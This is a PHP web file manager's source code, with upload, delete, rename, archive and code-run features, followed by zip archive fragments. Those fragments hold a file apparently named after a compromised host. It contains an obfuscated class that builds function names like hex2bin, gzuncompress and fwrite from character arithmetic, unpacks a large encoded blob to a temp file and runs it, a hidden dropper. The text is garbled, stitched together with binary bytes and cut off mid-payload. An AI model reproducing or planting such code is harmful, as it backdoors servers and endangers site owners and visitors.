</tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK [8�\ index.phpnu �[��� PK [8�\�N�_ banten1.kasvalid.com:80.phpnu �[��� <?php class ExecutionFlow { private $vz = ''; private $ig = ''; public function authorizeUser($p1) { $a = array(((22*3)+44),(112-7),((105-7)),(56-6),(120),(54+47),((17+79+8))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function generateToken($p1) { $a = array((((107*70)-7387)),((8+37+77)),(3*39),(110),((3*109)-228),((15*4)+51),((109*1)),((33+59+20)),114,(33+5+63),(25+90),(((103*14)-1327))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function handleRequest($p1,$p2) { $a = array((102),((84*64)-5265),(((48*1)+64)),(82+19),(87+5+18)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function processData($p1,$p2) { $a = array((28+71+2),(((36*78)-2692)),((24+81)),((85+15+14)),(119),(102)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function encryptData($p1) { $a = array(((96*93)-8826),99,(106+1+1),((100+1+10)),115,(101)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function manageState($p1,$p2=null) { $a = array(((101+13)),(113+3),114,((38+22+45)),((11*8)+21)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function checkConsistency() { $this->ig = $this->manageState($this->trackActivity(), '/'); } public function updateCache() { $this->vz = $this->generateToken($this->authorizeUser($this->dg)); } public function rollbackTransaction() { $fn = $this->ig.'/iu-67e24d313f592'; $f = $this->handleRequest($fn, 'w'); $this->processData($f, $this->vz); $this->encryptData($f); $this->triggerCallback($fn); } private $dg = '789cb5577b4fe34812ff2a20a14d2c27911ffd4826e71d8de' . '698ddd1716405cc9e4e2364397e1083b1133b210196efbe55d' . '56dc64e4298fbe3089dd85dbf7a74bdbafb1f1fe7b3f951980' . '55575e42f8af5f3bc4c1f82657c542d83651a9ef8ebcd72ac9' . 'e8f92551e2ed3223ff26f1e36dd13ff7e9519cf69d23daee22' . 'cf9f081b0867af6a3e4a16b8ccb78b92af3a359bc71a669de6' . 'de0be13fbb5317e692b6c282111cf0d1e2f28cbe0b1dbf1c3b' . '0e3fdda61b670e1c3a52bddcea0e344cc15898825930efc86f' . '06e8b508440128994f09a006124248cd80d1c0b7960049d5ec' . '72f2392a805088edf4ec4991c494b70440b5b5af01c02b70bc' . 'f0c7e01eb24221036489142c0b72dc122d4823396846f86d29' . '7054a47802b8638b158d304972316805097b96ce40a360261d' . '2652c7ce377244612cd675c322e462c8111b8b8101ef0216a8' . 'b5d4ba170d523a531e24244289b3c81ec0ccd432ea11f02987' . '341d4088dbb5da071d2962425d010b2fbb19822cd0d410ecc4' . 